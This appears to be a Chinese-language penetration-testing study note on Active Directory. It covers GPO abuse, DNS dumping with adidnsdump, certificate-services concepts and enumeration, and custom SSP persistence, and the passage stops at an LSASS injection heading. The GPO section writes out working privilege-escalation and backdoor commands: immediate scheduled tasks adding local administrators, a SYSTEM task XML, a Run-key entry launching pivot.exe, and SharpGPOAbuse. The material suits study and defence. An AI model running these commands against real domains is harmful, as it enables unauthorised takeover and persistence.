  1. 配置操作系统设置:可以使用GPO来配置计算机和用户的各种操作系统设置,如安全设置、网络设置、注册表项、文件和文件夹权限等。
  2. 分发软件安装:可以使用GPO将软件应用程序自动安装在用户或计算机上,从而简化软件部署和更新过程。
  3. 实施安全策略:可以使用GPO来强制实施安全策略,例如密码策略、帐户锁定策略、防火墙设置等,以增强系统的安全性。
  4. 管理用户配置:可以使用GPO来管理用户配置,例如映射网络驱动器、配置桌面设置、限制软件使用等。

GPO是通过在Active Directory域环境中创建和链接到特定OU(组织单位)来实现的。管理员可以使用Group Policy Management Console(GPMC)工具来创建、编辑和管理GPO,并将其链接到特定的OU,以便将策略应用于特定的组织单位、用户组或计算机组。

有时候,特定的用户或组可能被授权管理组策略对象,就像"WP"用户一样。

qzhrujxxen011898.png

也可以通过PowerView来进行查看。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "VVVV1\WP"}

以下内容显示用户 "OFFENSE\spotless" 具有 WriteProperty、WriteDacl、WriteOwner 等权限,这些权限可能被攻击者利用。

y4y5yz2w03011901.png

枚举域内所有的GPO。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-DomainGPO

gxrx1shtmkt11908.png

如果我们想要专门搜索配置错误的 GPO,我们可以像下面这样串联多个来自 PowerSploit 的 cmdlet。

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

jjkxcvxreqb11911.png

给定策略查询对应计算机

Get-NetOU -GUID "{C9F46A61-773B-41A7-8AB0-5C65866D13EC}" | % {Get-NetComputer -ADSpath $_}

yeji3hgisqz11915.png

给定计算机查询其策略

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

zkaof0nrunn11918.png

给定策略查询对应的OU

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

vnyhwyuc4jx11921.png

利用GPO权限进行攻击
  1. 滥用这种错误配置并进行代码执行的一种方式是通过组策略创建即时计划任务

利用三好学生的PowerShell脚本New-GPOImmediateTask.ps1进行攻击

https://github.com/3gstudent/Homework-of-Powershell/tree/master

由于脚本需要使用到PowerShell中的GroupPolicy模块,因此需要在服务管理器中安装远程服务器管理工具(RSAT)。

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators man1 /add" -GPODisplayName "newGPO" -Verbose

h2ke4un021q11924.png

上述操作将用户"spotless"添加到受损系统的本地管理员组。请注意,在执行代码之前,本地管理员组不包含用户"spotless"。

net localgroup administrators

zhdyujp2a4w11927.png

如果我们观察Misconfigured Policy的GPO的计划任务,我们可以看到我们的恶意任务(evilTask)在那里。

xyltvznszau11929.png

以下是由New-GPOImmediateTask创建的XML文件,它代表了我们在GPO中的恶意计划任务。

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
  <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
    <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
      <Task version="1.3">
        <RegistrationInfo>
          <Author>NT AUTHORITY\System</Author>
          <Description></Description>
        </RegistrationInfo>
        <Principals>
          <Principal id="Author">
            <UserId>NT AUTHORITY\System</UserId>
            <RunLevel>HighestAvailable</RunLevel>
            <LogonType>S4U</LogonType>
          </Principal>
        </Principals>
        <Settings>
          <IdleSettings>
            <Duration>PT10M</Duration>
            <WaitTimeout>PT1H</WaitTimeout>
            <StopOnIdleEnd>true</StopOnIdleEnd>
            <RestartOnIdle>false</RestartOnIdle>
          </IdleSettings>
          <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
          <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
          <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
          <AllowHardTerminate>false</AllowHardTerminate>
          <StartWhenAvailable>true</StartWhenAvailable>
          <AllowStartOnDemand>false</AllowStartOnDemand>
          <Enabled>true</Enabled>
          <Hidden>true</Hidden>
          <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
          <Priority>7</Priority>
          <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
          <RestartOnFailure>
            <Interval>PT15M</Interval>
            <Count>3</Count>
          </RestartOnFailure>
        </Settings>
        <Actions Context="Author">
          <Exec>
            <Command>cmd</Command>
            <Arguments>/c net localgroup administrators spotless /add</Arguments>
          </Exec>
        </Actions>
        <Triggers>
          <TimeTrigger>
            <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
            <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
            <Enabled>true</Enabled>
          </TimeTrigger>
        </Triggers>
      </Task>
    </Properties>
  </ImmediateTaskV2>
</ScheduledTasks>

通过滥用GPO(组策略)的用户和组功能,可以实现相同的权限提升。

请注意,在下面的文件中,第6行将用户"spotless"添加到本地管理员组 - 我们可以将用户更改为其他用户,添加另一个用户,甚至将用户添加到另一个组/多个组,因为我们可以修改显示位置的策略配置文件,这是由于GPO委派分配给了我们的用户"spotless"。

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>

另外,我们还可以考虑利用登录/注销脚本、使用注册表进行自动运行、安装.msi文件、编辑服务以及类似的代码执行途径。

  1. GroupPolicy 模块

可以使用命令"Get-Module -List -Name GroupPolicy | select -expand ExportedCommands"来检查是否安装了GroupPolicy模块。如果需要,你可以使用命令"Install-WindowsFeature –Name GPMC"作为本地管理员安装它。

创建新的组策略对象(GPO)并将其与OU(组织单位)"Workstations"关联。

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"

让位于"Workstations" OU内的计算机创建一个新的注册表键,该键将执行一个后门程序。

在共享文件夹中搜索一个既可以写入又可以被所有受影响的计算机读取的位置。

Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

  • -Name "Evil GPO": 指定了要操作的组策略对象的名称为"Evil GPO"。
  • -Context Computer: 指定了操作的上下文为计算机级别的首选项。
  • -Action Create: 指定了创建注册表值。
  • -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run": 指定了注册表键的路径为"HKLM\Software\Microsoft\Windows\CurrentVersion\Run",即在计算机启动时执行的自动运行程序列表。
  • -ValueName "Updater": 指定了注册表值的名称为"Updater",这将是用于后门执行的程序的标识。
  • -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe": 指定了注册表值的数据,即要执行的后门程序的命令行。
  • -Type ExpandString: 指定了注册表值的类型为ExpandString,以便正确解释并扩展其中的环境变量。
  1. SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

使用工具SharpGPOAbuse进行攻击。但是该工具无法创建GPO,因此我们仍然必须使用RSAT创建GPO或修改我们已经具有写访问权限的GPO。

SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

强制策略更新

之前的恶意GPO更新大约每90分钟重新加载一次。如果您可以访问计算机,您可以使用命令来强制刷新GPO。

gpupdate /force

End

For GPO attacks,I think it have some ways to delve deeper.

These are several articles that can be used for learning.

  • https://xz.aliyun.com/t/7289#toc-0
  • https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
  • https://wald0.com/?p=112
  • https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
  • https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
  • https://adsecurity.org/?p=3658
  • https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_

AD DNS Records

默认情况下,Active Directory中的任何用户都可以枚举域或林DNS区域中的所有DNS记录,类似于区域传输(用户可以在AD环境中列出DNS区域的子对象)。

https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

使用工具adidnsdump可以枚举和导出区域中的所有 DNS 记录,以用于内部网络的侦察目的。

git clone https://github.com/dirkjanm/adidnsdump

cd adidnsdump

pip install.

adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

cat records.csv

m2yegftmj3011933.png

在LDAP中查询DNS记录最直接的方式是执行选择所有类别为dnsNode的对象的查询,这些对象代表DNS区域中的条目。但是,当我使用过滤器**(objectClass=dnsNode)**进行查询时,返回的结果非常有限,即使我手动浏览到DNS区域时可以看到更多的记录。

tqo0gmudqc311935.png

如上图所示,对于几个对象,objectClass是不可见的。这是因为计算机DNS记录的默认权限(我认为其他不通过AD DNS GUI创建的记录也是如此)不允许所有用户查看内容。由于IP地址实际上是作为此对象的属性存储的,因此无法查看这些记录的IP地址。

但是,就像任何用户默认情况下都可以创建新的DNS记录一样,默认情况下任何用户也可以列出DNS区域的子对象。因此,我们知道记录存在,只是无法使用LDAP进行查询。

dvjytcqfjyl11938.png

一旦我们通过LDAP枚举确定记录存在,我们可以直接使用DNS进行查询(因为执行常规的DNS查询不需要特权)。通过这种方式,我们可以解析区域中的所有记录。

使用adidnsdump可以列举DNS区域中的所有记录。

要开始操作,请先使用--print-zones选项显示当前所在域中的区域。这将显示存在哪些区域。并非所有的区域都是有趣的,例如正向、缓存和存根区域并不包含该域的所有记录。如果找到了这些区域,最好查询它们实际所属的域。下面的输出显示我的测试域只有默认的区域。

adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --print-zones

0qurmgdu3iw11940.png
如果我们在工具中指定区域(或者对于默认区域将其留空),我们将获得所有记录的列表。可以列出但无法读取的记录(称为“隐藏”记录)将显示为问号,因为目前不知道存在哪种类型的记录以及它指向何处。所有记录都保存在名为records.csv的文件中。

yps5lk0z02r11943.png

要解析未知记录,请指定-r标志,这将为所有未知记录执行A查询(如果您在IPv6网络中,可以在代码中轻松更改为AAAA)。现在许多以前为空的节点突然有了记录。

如果您没有直接连接,而是通过代理进行工作,您可以通过socks代理将工具代理,并使用**--dns-tcp**标志通过TCP执行DNS查询。

adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --dns-tcp

4t5czh55yy511946.png

AD Certificates

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://zhuanlan.zhihu.com/p/402961562

https://blog.csdn.net/heisejiuhuche/article/details/129224570

https://cloud.tencent.com/developer/article/2013603

https://zhuanlan.zhihu.com/p/383587237

https://cloud.tencent.com/developer/article/1937718

https://www.cnblogs.com/mtgold/p/15665575.html

AD Certificates,指的是Active Directory 证书服务。首先我们要了解什么是 Active Directory 证书服务(Active Directory Certificate Service - 以下简称 AD CS)。证书服务,用官方的解释说,是微软的 PKI 系统的实现,早些时候,多用于 Active Directory 内智能卡(smart card)的登录鉴权。发展到现在,已经成为了 AD 环境中各个主体的另外一种鉴权方式(如 Windows Hello For Business)。

这里的证书,指的是 X.509 格式的电子文档,可以被用于加密,信息签名,以及鉴权。在域环境中,这张证书就是将一个主体与其 Public/Private 密钥对绑定。那么,域控就可以使用这个主体的密钥,来决定是否给这个主体分发 TGT。

证书相较于现有的 AD 权限维持或者提权的方式,如增加管理员用户,修改用户密码,黄金、白银票据等,有更加隐秘,更加持久的优势。更加隐秘是因为证书利用相对于其他敏感操作,相对难以被探测和发现(不触及 LSASS 等);更加持久是因为证书的默认过期时间是 5 年,而且不会随着主体密码的改变而失效。

证书的组成部分

  • 主题(Subject)- 证书的所有者。
  • 公钥(Public Key)- 将主题与单独存储的私钥关联起来。
  • NotBefore 和 NotAfter 日期 - 定义证书的有效期限。
  • 序列号(Serial Number)- 由证书颁发机构(CA)分配的证书标识符。
  • 颁发者(Issuer)- 标识谁颁发了证书(通常是一个CA)。
  • SubjectAlternativeName - 定义主题可能使用的一个或多个替代名称。
  • 基本约束(Basic Constraints)- 识别证书是CA还是终端实体,并在使用证书时是否存在任何限制。
  • 扩展密钥用途(EKUs)- 对象标识符(OIDs),用于描述证书的使用方式。也称为 Microsoft 术语中的 Enhanced Key Usage。常见的 EKU OIDs 包括:
  • 代码签名(OID 1.3.6.1.5.5.7.3.3)- 证书用于对可执行代码进行签名。
  • 加密文件系统(OID 1.3.6.1.4.1.311.10.3.4)- 证书用于加密文件系统。
  • 安全电子邮件(1.3.6.1.5.5.7.3.4)- 证书用于加密电子邮件。
  • 客户端身份验证(OID 1.3.6.1.5.5.7.3.2)- 证书用于对另一个服务器进行身份验证(例如,对 Active Directory 进行身份验证)。
  • 智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)- 证书用于智能卡身份验证。
  • 服务器身份验证(OID 1.3.6.1.5.5.7.3.1)- 证书用于识别服务器(例如,HTTPS 证书)。
  • 签名算法(Signature Algorithm)- 指定用于签署证书的算法。
  • 签名(Signature)- 使用颁发者(例如CA)的私钥对证书体进行签名。

ADCS概念

  • PKI (Public Key Infrastructure) - PKI 是一整套证书签发、管理的系统。主要包括 CA(Certificate Authority),RA(Registration Authority),Certificate Store,and Certificate database
  • Certificate Store - Windows 本地证书存储,请求到的证书将存储在 Certificate Store 中
  • AD CS(Active Directory Certificate Service)- 微软为 AD 环境打造的 PKI 系统,来管理域内的证书签发和鉴权
  • CA(Certificate Authority)- 签发证书的服务
  • Enterprise CA - 与域集成的 CA 系统(通常会被配置在域中单独的服务器上),包含证书签发、证书模板等服务
  • CSR(Certificate Signing Request)- 向 CA 系统发送的证书签发的请求
  • EKU(Extended/Enhanced Key Usage)- Object Identifiers(OIDs),规定了签发证书的用途(是用来加密文件,或者主体鉴权等)
  • SAN(Subject Alternative Name)- 可以为一张证书绑定多个身份信息;比如 HTTPS 证书中就可以绑定多个域名,而不需要为每个域名都单独申请一张证书
  • UPN(User Principal Name)- 域中的证书是与 UPN 绑定的(这张证书是张三的,用于张三同学的鉴权),同时鉴权的主体也是是通过 UPN 来确定的;如果黑客控制了 SAN,在特定情况下,也就能 impersonate 任意用户
  • Principal - 域中的主体,可以是用户,也可以是服务
  • Certificate Template - 证书模板;Enterprise CA 签发的证书都是根据模板来生成;模板包含这张证书的元信息,如签发规则,谁有权限使用这个模板,证书的有效期,证书主体是谁,证书主体如何定义等等;Enterprise CA 会根据这些元信息来决定是否可以签发证书,以及签发什么样的证书

**主题备用名称(Subject Alternative Names,SAN)**是一种X.509v3扩展。它允许将附加身份与证书绑定。例如,如果一个Web服务器托管多个域的内容,每个适用的域都可以包含在SAN中,这样Web服务器只需要一个HTTPS证书。 默认情况下,在基于证书的身份验证期间,AD根据SAN中指定的UPN将证书映射到用户帐户。如果攻击者可以在请求启用客户端身份验证的证书时指定任意的SAN,并且CA使用攻击者提供的SAN创建和签署证书,那么攻击者可以成为域中的任何用户。

AD CS(Active Directory Certificate Services)在CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>容器下定义了AD域信任的CA证书,其目的有四个不同的位置:

  1. Certification Authorities容器定义受信任的根CA证书。这些CA位于PKI树层次结构的顶部,并且是AD CS环境中信任的基础。每个CA都表示为容器内的AD对象,其中objectClass设置为certificationAuthority,cACertificate属性包含CA证书的字节。Windows将这些CA证书传播到每台Windows计算机上的可信根证书颁发机构存储区。为了让AD将证书视为受信任的,证书的信任链必须最终以此容器中定义的一个根CA结束。
  2. 注册服务容器为每个企业CA(即在启用了Enterprise CA角色的AD CS中创建的CA)定义了一个AD对象,具有以下属性:
  • 一个pKIEnrollmentService对象类属性
  • 包含CA证书字节的cACertificate属性
  • dNSHostName属性设置CA的DNS主机名
  • certificateTemplates字段定义了启用的证书模板。证书模板是CA在创建证书时使用的设置的“蓝图”,包括EKUs、注册权限、证书过期、签发要求和密码设置等。稍后我们将详细讨论证书模板。

在AD环境中,客户端与企业CA进行交互,根据证书模板中定义的设置请求证书。企业CA证书被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。

  1. NTAuthCertificates AD对象定义了启用对AD的身份验证的CA证书。该对象的objectClass为certificationAuthority,对象的cACertificate属性定义了一组受信任的CA证书。加入AD域的Windows计算机将这些CA传播到每台计算机上的Intermediate Certification Authorities证书存储区。只有由NTAuthCertificates对象定义的一个CA签署了进行身份验证的客户端证书,客户端应用程序才能使用证书进行对AD的身份验证。
  2. AIA(Authority Information Access)容器包含中间和交叉CA的AD对象。中间CA是PKI树层次结构中根CA的“子级”,因此该容器存在以帮助验证证书链。与Certification Authorities容器类似,每个CA都表示为AIA容器中的AD对象,其中objectClass属性设置为certificationAuthority,cACertificate属性包含CA证书的字节。这些CA被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。

客户端证书请求流程

  1. 这是从AD CS获取证书的过程。在较高级别上,在注册期间,客户端首先根据注册服务容器中的对象找到一个企业CA。
  2. 然后,客户端生成一个公私钥对,并将公钥与证书签名请求(CSR)消息一起放置,其中还包括证书的主题和证书模板名称等其他详细信息。
  3. 然后,客户端使用其私钥对CSR进行签名,并将CSR发送到企业CA服务器。 CA服务器检查客户端是否可以请求证书。如果可以,它将通过查找CSR中指定的证书模板AD对象来确定是否发放证书。 CA将检查证书模板AD对象的权限,以判断验证帐户是否可以获取证书。
  4. 如果是这样,CA将使用证书模板定义的“蓝图”设置(例如,EKUs、加密设置和发行要求),并根据CSR中提供的其他信息(如果证书的模板设置允许)生成证书。 CA使用自己的私钥对证书进行签名,然后将其返回给客户端。

p3ndeyki04i11950.png

证书模板

AD CS将可用的证书模板作为具有pKICertificateTemplate对象类的AD对象存储在以下容器中:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>

AD证书模板对象的属性定义了其设置,其安全描述符控制谁可以注册证书或编辑证书模板。

AD证书模板对象上的pKIExtendedKeyUsage属性包含在模板中启用的OID数组。这些扩展密钥用途(EKU)OIDs影响证书的使用方式。你可以在这里找到可能的OID列表。

https://www.pkisolutions.com/object-identifiers-oid-in-pki/

cof0rojkc5y11955.png

证书注册

管理员需要创建证书模板,然后企业CA将该模板“发布”,使其可供客户端注册。AD CS规定,在企业CA上启用证书模板是通过将模板名称添加到AD对象的certificatetemplates字段来实现的。

ns2oodpb50k11960.png

AD CS使用两个安全描述符定义注册权限-哪些主体可以请求证书:一个在证书模板AD对象上,另一个在企业CA本身上。 客户端需要在这两个安全描述符中都被授权,才能够请求证书。

证书模板注册权限

  1. ACE授予主体证书注册扩展权限(the Certificate-Enrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS45访问权限,其中ObjectType设置为0e10c968-78fb-11d2-90d4-00c04f79dc5547。此GUID对应证书注册扩展权限。
  2. ACE授予主体证书自动注册扩展权限(the Certificate-AutoEnrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS48访问权限,其中ObjectType设置为a05b8cc2-17bc-4802-a710-e7c15ab866a249。此GUID对应证书自动注册扩展权限。
  3. ACE授予主体所有扩展权限(all ExtendedRights)。原始ACE启用RIGHT_DS_CONTROL_ACCESS访问权限,其中ObjectType设置为00000000-0000-0000-0000-000000000000。此GUID对应所有扩展权限。
  4. ACE授予主体FullControl/GenericAll权限。原始ACE启用FullControl/GenericAll访问权限。

企业CA的注册权限

企业CA上配置的安全描述符定义了这些权限,并且可以通过在证书颁发机构MMC插件certsrv.msc中右键单击CA → 属性 → 安全来查看该描述符。

j2can3z2xbv11966.png

这最终会在CA服务器上的注册表项HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<CA名称>中设置Security值。我们遇到过几个AD CS服务器,通过远程注册表将低特权用户授予对该键的远程访问权限。

xb51kwjfocl11971.png

低特权用户还可以使用ICertAdminD2 COM接口的GetCASecurity方法通过DCOM枚举此项。但是,正常的Windows客户端需要安装远程服务器管理工具(RSAT)才能使用它,因为COM接口及其实现它的任何COM对象默认情况下都不会存在于Windows上。

发布要求

管理批准

CA证书管理员批准导致证书模板在AD对象的msPKI-EnrollmentFlag属性上设置CT_FLAG_PEND_ALL_REQUESTS(0x2)位。这将基于该模板的所有证书请求置于挂起状态(在certsrv.msc的“挂起请求”部分可见),这需要证书管理员在颁发证书之前批准或拒绝该请求。

tuwgsjlvuij11976.png

登记代理、授权签名和应用策略

授权签名的数量以及应用策略。前者控制着CA接受CSR所需的签名数量。后者定义了CSR签名证书必须具备的EKU OID。

这些设置的常见用途是用于登记代理。登记代理是AD CS术语,指可以代表其他用户请求证书的实体。为此,CA必须向登记代理帐户颁发包含至少证书请求代理EKU(OID 1.3.6.1.4.1.311.20.2.1)的证书。一旦颁发,登记代理就可以代表其他用户签署CSR并请求证书。只有在以下非全面条件的情况下,CA才会将登记代理作为另一个用户发出的证书(主要在默认策略模块certpdef.dll中实现):

  • Windows用户对目标证书模板具有登记权限。
  • 如果证书模板的架构版本为1,CA将要求签名证书在颁发证书之前具备证书请求代理OID。证书模板的架构版本是指其AD对象的msPKI-Template-Schema-Version属性中指定的版本。
  • 如果证书模板的架构版本为2:
  • 该模板必须设置“这个授权签名的数量”设置,并且指定数量的登记代理必须签署CSR(模板的mspkira-signature AD属性定义了此设置)。换句话说,此设置指定在CA考虑颁发证书之前,需要多少个登记代理对CSR进行签名。
  • 该模板的“应用策略”颁发限制必须设置为“证书请求代理”。

请求证书

  1. 使用Windows客户端证书登记协议(MS-WCCE),这是一组与各种AD CS功能(包括登记)交互的分布式组件对象模型(DCOM)接口。默认情况下,所有AD CS服务器都启用了DCOM服务器,并且我们经常看到客户端通过此方法请求证书。
  2. 通过ICertPassage远程协议(MS-ICPR),可以使用命名管道或TCP/IP进行远程过程调用(RPC)通信。
  3. 访问证书登记Web界面。要使用此功能,ADCS服务器需要安装证书颁发机构Web登记角色。启用后,用户可以访问运行在http:///certsrv/的托管在IIS上的ASP Web登记应用程序。 certipy req -ca 'corp-DC-CA' -username john@corp.local -password Passw0rd -web -debug
  4. 与证书登记服务(CES)进行交互。要使用此功能,服务器需要安装证书登记Web服务角色。启用后,用户可以通过https:///_CES_Kerberos/service.svc访问Web服务以请求证书。此服务与证书登记策略(CEP)服务配合使用(通过证书登记策略Web服务角色安装),客户端可以使用该服务在URL https:///ADPolicyProvider\_CEP\_Kerberos/service.svc 列出证书模板。在内部,证书登记和策略Web服务分别实现了MS-WSTEP和MS-XCEP(两种基于SOAP的协议)。
  5. 使用网络设备登记服务。要使用此功能,服务器需要安装网络设备登记服务角色,该服务允许客户端(即网络设备)通过简单证书登记协议(SCEP)获取证书。启用后,管理员可以从URL http:///CertSrv/mscep\_admin/获取一次性密码(OTP)。然后,管理员可以将OTP提供给网络设备,设备将使用SCEP通过URL http://NDESSERVER/CertSrv/mscep/请求证书。
  6. 在Windows机器上,用户可以使用GUI请求证书,方法是启动certmgr.msc(用于用户证书)或certlm.msc(用于计算机证书),展开个人证书存储→右键点击"Certificates"→所有任务→请求新证书。
  7. 也可以使用内置的certreq.exe命令或PowerShell的Get-Certificate命令进行证书登记。

证书认证

AD(Active Directory)默认支持两种协议的证书认证:Kerberos和Secure Channel(Schannel)。

Kerberos 身份验证和 NTAuthCertificates 容器

总而言之,用户将使用其证书的私钥对TGT请求的认证器进行签名,并将此请求提交给域控制器。域控制器执行多个验证步骤,如果一切顺利,则发放一个TGT。

更详细地说: KDC(密钥分发中心)会验证用户的证书(时间、路径和吊销状态),以确保证书来自可信任的源。KDC使用CryptoAPI从用户的证书到位于域控制器上的根证书颁发机构(CA)证书之间建立一个认证路径。然后,KDC使用CryptoAPI验证预身份验证数据字段中包含的已签名认证器上的数字签名。域控制器验证签名,并使用用户证书上的公钥来证明该请求源自与该公钥对应的私钥的所有者。KDC还验证发行者是否受信任,并且是否出现在NTAUTH证书存储库中。

这里提到的“NTAUTH证书存储库”是指AD CS在以下位置安装的一个AD对象:

CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>

通过将CA证书发布到企业级NTAuth存储库,管理员表示信任该CA可以发布这些类型的证书。Windows CA会自动将其CA证书发布到此存储库。

这意味着当AD CS创建新的CA(或更新CA证书)时,它会通过将新证书添加到对象的cacertificate属性中,将新证书发布到NTAuthCertificates对象中。

akddekrbcgy11983.png

在证书认证期间,DC可以验证认证证书链到由NTAuthCertificates对象定义的CA证书。NTAuthCertificates对象中的CA证书必须再次链接到根CA。这里的重要信息是,NTAuthCertificates对象是Active Directory中证书认证的信任根!

安全通道 (Schannel) 身份验证

Schannel是Windows在建立TLS/SSL连接时使用的安全支持提供程序(SSP)。Schannel支持客户端身份验证(以及许多其他功能),使远程服务器能够验证连接用户的身份。它通过PKI实现这一点,其中证书是主要凭据。

在TLS握手期间,服务器请求客户端提供用于身份验证的证书。客户端之前从服务器信任的CA获得了客户端身份验证证书,将其证书发送到服务器。然后服务器验证证书是否正确,并在一切正常的情况下授予用户访问权限。

b5unzvxriop11996.png

当一个帐户使用证书对AD进行身份验证时,DC需要以某种方式将证书凭据映射到一个AD帐户。Schannel首先尝试使用Kerberos的S4U2Self功能将凭据映射到用户帐户。

如果不成功,它将尝试使用证书的SAN扩展、主题和颁发者字段的组合,或者仅根据颁发者将证书映射到用户帐户。默认情况下,在AD环境中,不支持使用Schannel直接进行AD身份验证的协议并不多。WinRM、RDP和IIS都支持使用Schannel进行客户端身份验证,但需要额外的配置,并且在某些情况下(例如WinRM),无法与Active Directory集成。

一个通常有效的协议(假设已经设置了AD CS)是LDAPS。命令Get-LdapCurrentUser演示了如何使用.NET库对LDAP进行身份验证。该命令执行一个LDAP的“Who am I?”扩展操作来显示当前正在进行身份验证的用户。

ahffqhnjhhp12004.png

AD CS 枚举

就像对于AD的大部分内容一样,通过查询LDAP作为域身份验证但没有特权的用户,可以获取到前面提到的所有信息。

如果我们想枚举企业CA及其设置,可以在CN=Configuration,DC=<domain>,DC=<com>搜索基础上使用(objectCategory=pKIEnrollmentService) LDAP筛选器进行LDAP查询(此搜索基础对应于AD林的配置命名上下文)。结果将标识出CA服务器的DNS主机名、CA名称本身、证书的开始和结束日期、各种标志、已发布的证书模板等。

AD CS 枚举工具

Certify是一个使用C#编写的工具,可以枚举有关AD CS环境的有用配置和基础结构信息,并可以以多种不同的方式请求证书。https://github.com/GhostPack/Certify

Certipy是一个Python工具,可以从任何能够生成BloodHound输出的系统(具有对DC的访问权限)中枚举和滥用Active Directory证书服务(AD CS)。https://github.com/ly4k/Certipy

# https://github.com/GhostPack/Certify

Certify.exe cas #枚举受信任的根CA证书、NTAuthCertificates对象定义的证书以及有关企业CA的各种信息

Certify.exe find #枚举证书模板

Certify.exe find /vulnerable #枚举可修复证书模板

# https://github.com/ly4k/Certipy

certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128

certipy find -vulnerable [-hide-admins] -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 #搜索易受攻击的模板

certutil.exe -TCAInfo #枚举企业CA

certutil -v -dstemplate #枚举证书模板

w30ujym5oo512010.png

bellsgwz55u12018.png

axmep0pgk3a12022.png

Custom SSP

https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs#security-support-provider-interface-sspi

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/custom-ssp

https://blog.csdn.net/weixin_42282189/article/details/120103661

https://blog.csdn.net/qq_41617902/article/details/128742631

SSP即Security Support Provider(安全支持提供者)是一个用于实现身份验证的DLL文件,主要用于Windows操作系统的身份认证功能。

当操作系统启动时SSP会被加载到lsass.exe进程中,由于lsass可通过注册表进行扩展,导致了在操作系统启动时,可以加载一个自定义的dll,来实现想要执行的操作。

当我们在域环境内对LSA进行拓展自定义DLL文件时,就能够获取到lsass.exe进程中的明文密码,即使修改密码重新登陆,我们依旧可以获得密码,达到域权限维持的效果。

SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。

SSPI负责找到两台想要通信的计算机所需的适当协议。首选方法是Kerberos。然后SSPI将协商使用哪种认证协议,这些认证协议被称为安全支持提供程序(Security Support Provider,SSP),以DLL的形式存在于每台Windows计算机中,双方计算机必须支持相同的SSP才能进行通信。

Kerberos :首选

  • %windir%\Windows\System32\kerberos.dll

NTLMv1和NTLMv2 :兼容性原因

  • %windir%\Windows\System32\msv1_0.dll

摘要:Web 服务器和 LDAP,MD5 哈希形式的密码

  • %windir%\Windows\System32\Wdigest.dll

Schannel :SSL 和 TLS

  • %windir%\Windows\System32\Schannel.dll

Negotiate :用于协商要使用的协议(Kerberos 或 NTLM 是 Kerberos 的默认协议)

  • %windir%\Windows\System32\lsasrv.dll

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作,获取目标lsass.exe进程中的明文密码。

攻击方式
注入LSASS进程

